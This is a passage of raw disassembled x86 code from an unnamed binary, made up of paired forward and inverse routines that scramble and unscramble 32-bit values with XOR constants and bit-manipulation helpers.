add esp, 10h
mov [ebp+arg_0], eax
push 1
push 1Dh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 11h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
push 5
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF1h
push 7
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 51D49BEEh
mov [ebp+arg_0], ecx
push 0FFFFFFFFh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 15h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0D40DC76Bh
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4922F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4923BD proc near ; CODE XREF: sub_498DD8+D0p
; sub_49B5EE+A0p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 1FB286A7h
mov [ebp+arg_0], eax
push 12h
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 7
push 0Ch
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 12h
push 6
push 15h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1
push 0Ch
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Eh
push 1
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 62B1561Bh
mov [ebp+arg_0], ecx
push 0Dh
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Bh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 17h
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 2
push 15h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0B0E2B697h
mov [ebp+arg_0], eax
push 3
push 0
push 1Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0C10FFB6Fh
mov [ebp+arg_0], edx
push 0Fh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ch
push 3
push 15h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0D4EC99D7h
mov [ebp+arg_0], edx
push 2
push 1Ah
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 15h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Fh
push 0Ah
push 12h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0A5365844h
mov [ebp+arg_0], eax
push 0Ch
push 13h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0DC1DBEA4h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4923BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49255B proc near ; CODE XREF: sub_498DD8+Dp
; sub_49B5EE+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0DC1DBEA4h
mov [ebp+arg_0], eax
push 0Ch
push 13h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0A5365844h
mov [ebp+arg_0], edx
push 0FFFFFFF1h
push 0Ah
push 12h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 15h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 2
push 1Ah
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0D4EC99D7h
mov [ebp+arg_0], eax
push 0FFFFFFF4h
push 3
push 15h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFF1h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0C10FFB6Fh
mov [ebp+arg_0], eax
push 0FFFFFFFDh
push 0
push 1Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0B0E2B697h
mov [ebp+arg_0], edx
push 2
push 15h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF5h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Dh
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 62B1561Bh
mov [ebp+arg_0], ecx
push 0Eh
push 1
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
push 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFEEh
push 6
push 15h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFFFh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 7
push 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 1FB286A7h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49255B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4926F9 proc near ; CODE XREF: sub_496126+9Bp
; sub_499ED8+ECp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0A5E71B39h
mov [ebp+arg_0], eax
push 0Ch
push 11h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 5D82E21Eh
mov [ebp+arg_0], edx
push 1Bh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ch
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 3
push 13h
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 9
push 13h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 9
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0E6A48E86h
mov [ebp+arg_0], edx
push 10h
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 2
push 1Ch
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 2
push 0Bh
push 12h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Dh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 2A45868Bh
mov [ebp+arg_0], eax
push 0Ah
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ah
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 14h
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 2BF12DD0h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4926F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492865 proc near ; CODE XREF: sub_496126+Dp
; sub_499ED8+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 2BF12DD0h
mov [ebp+arg_0], eax
push 0FFFFFFE6h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 14h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF6h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 2A45868Bh
mov [ebp+arg_0], edx
push 0FFFFFFE3h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFEh
push 0Bh
push 12h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 2
push 1Ch
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFFh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 12h
push 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 10h
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0E6A48E86h
mov [ebp+arg_0], eax
push 9
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 9
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFDh
push 13h
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Ch
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE5h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 5D82E21Eh
mov [ebp+arg_0], eax
push 0Ch
push 11h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0A5E71B39h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492865 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4929D0 proc near ; CODE XREF: sub_49591C+9Cp
; sub_495DD2+172p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 1C647266h
mov [ebp+arg_0], eax
push 1Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 8C4BE5FAh
mov [ebp+arg_0], edx
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Bh
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 2
push 16h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 3
push 0Dh
push 9
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0ECA9E3B5h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4929D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492A69 proc near ; CODE XREF: sub_49591C+Dp
; sub_495DD2+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0ECA9E3B5h
mov [ebp+arg_0], eax
push 0FFFFFFFDh
push 0Dh
push 9
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFFDh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 2
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Bh
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE2h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 8C4BE5FAh
mov [ebp+arg_0], eax
push 0FFFFFFE4h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 1C647266h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492B01 proc near ; CODE XREF: sub_497C2D+8Fp
; sub_4991C7+AFp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0C4E8019Fh
mov [ebp+arg_0], eax
push 0Dh
push 12h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 10h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0E0B09847h
mov [ebp+arg_0], ecx
push 12h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Bh
push 11h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 15h
push 9
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 5
push 18h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 1317EC6Fh
mov [ebp+arg_0], edx
push 0Ah
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 13h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0
push 1Bh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 7DF19611h
mov [ebp+arg_0], ecx
push 12h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 3
push 1Ah
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 94093F8Bh
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492B01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492C5B proc near ; CODE XREF: sub_497C2D+Dp
; sub_4991C7+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 94093F8Bh
mov [ebp+arg_0], eax
push 3
push 1Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 7DF19611h
mov [ebp+arg_0], eax
push 0
push 1Bh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 13h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFCh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 1317EC6Fh
mov [ebp+arg_0], edx
push 0
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFCh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 5
push 18h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFEBh
push 9
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Bh
push 11h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFEEh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0E0B09847h
mov [ebp+arg_0], eax
push 0FFFFFFF3h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 10h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Dh
push 12h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0C4E8019Fh
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492C5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492DB3 proc near ; CODE XREF: sub_4959C8+9Bp
; sub_499942+93p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0ED91C2E4h
mov [ebp+arg_0], eax
push 0Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 10h
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Fh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 10h
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ah
push 2
push 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 13h
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 2
push 17h
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492DB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492E5E proc near ; CODE XREF: sub_4959C8+Dp
; sub_499942+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFEh
push 17h
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 13h
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF6h
push 2
push 0Ch
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 12h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 10h
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF1h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 10h
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF3h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0ED91C2E4h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492E5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492F0A proc near ; CODE XREF: sub_495547+76p
; sub_499E2C+9Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0E23BCB7Bh
mov [ebp+arg_0], eax
push 13h
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0C2E0485Ch
mov [ebp+arg_0], edx
push 1
push 17h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 4
push 0
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0D53938BEh
mov [ebp+arg_0], eax
push 2
push 12h
push 9
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 14h
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492F0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492FA8 proc near ; CODE XREF: sub_495547+Dp
; sub_499E2C+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 14h
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFEh
push 12h
push 9
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0D53938BEh
mov [ebp+arg_0], edx
push 0FFFFFFFCh
push 0
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFE3h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 1
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0C2E0485Ch
mov [ebp+arg_0], eax
push 13h
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0E23BCB7Bh
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492FA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493047 proc near ; CODE XREF: sub_499022+DDp
; sub_49AC45+9Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 52E5DC04h
mov [ebp+arg_0], eax
push 0Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 5
push 2
push 9
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Bh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 15h
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 6
push 17h
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 7F8AC670h
mov [ebp+arg_0], eax
push 0Ch
push 1
push 1Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 8E1DADF8h
mov [ebp+arg_0], edx
push 18h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0BF96859Fh
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493047 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493102 proc near ; CODE XREF: sub_499022+Dp
; sub_49AC45+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0BF96859Fh
mov [ebp+arg_0], eax
push 0FFFFFFE8h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 8E1DADF8h
mov [ebp+arg_0], edx
push 0FFFFFFF4h
push 1
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 7F8AC670h
mov [ebp+arg_0], ecx
push 0FFFFFFFAh
push 17h
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 15h
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF5h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFBh
push 2
push 9
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFF1h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 52E5DC04h
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4931BE proc near ; CODE XREF: sub_495F54+C9p
; sub_49805F+71p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 109A5038h
mov [ebp+arg_0], eax
push 14h
push 6
